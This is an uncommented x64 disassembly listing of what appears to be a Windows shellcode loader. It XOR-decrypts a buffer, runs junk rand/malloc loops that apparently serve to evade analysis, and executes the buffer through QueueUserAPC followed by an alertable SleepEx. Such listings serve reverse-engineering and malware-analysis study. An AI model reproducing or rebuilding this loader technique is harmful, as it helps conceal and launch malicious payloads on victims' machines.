jmp 0x1400029b3
mov edx, dword [rbp + 0x830]
mov eax, dword [rbp + 0x82c]
add eax, edx
mov dword [rbp + 0x644], eax
add dword [rbp + 0x828], 1
mov eax, dword [rbp + 0x82c]
mov dword [rbp + 0x830], eax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x82c], eax
mov eax, dword [rbp + 0x828]
cmp eax, dword [rbp + 0x664]
jl 0x140002980
mov eax, dword [rbp + 0x844]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x83c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x844]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x660], 0
mov ecx, 0xf48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x824], 0
jmp 0x140002b0a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x660], edx
mov edx, dword [rbp + 0x660]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x660], eax
cmp dword [rbp + 0x660], 0x168
jle 0x140002a90
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002b03
cmp dword [rbp + 0x660], 0
jns 0x140002abd
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140002b03
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x660]
movsd xmm0, qword [0x140006610]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006618]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x3d1
jle 0x140002a29
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x83c], 0x4f
jne 0x140002c38
mov ecx, 0xcd4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0xcd4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x81c], 0x334
mov dword [rbp + 0x820], 0
jmp 0x140002bfe
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x648]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x81c], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x334
jle 0x140002b71
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x83c], 0
jmp 0x140002c3f
add dword [rbp + 0x83c], 1
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x4c3
jle 0x140002956
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x818], 0xffffffff
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x67c], eax
mov ecx, dword [rbp + 0x67c]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x67c], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006620]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x67c]
movq xmm0, rax
call fcn.140003f10
movq rax, xmm0
mov qword [rbp + 0x670], rax
cmp dword [rbp + 0x818], 0x3ba
jle 0x140002c8f
mov rax, qword [rbp + 0x808]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x688]
mov r9, qword [rbp + 0x680]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x668]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret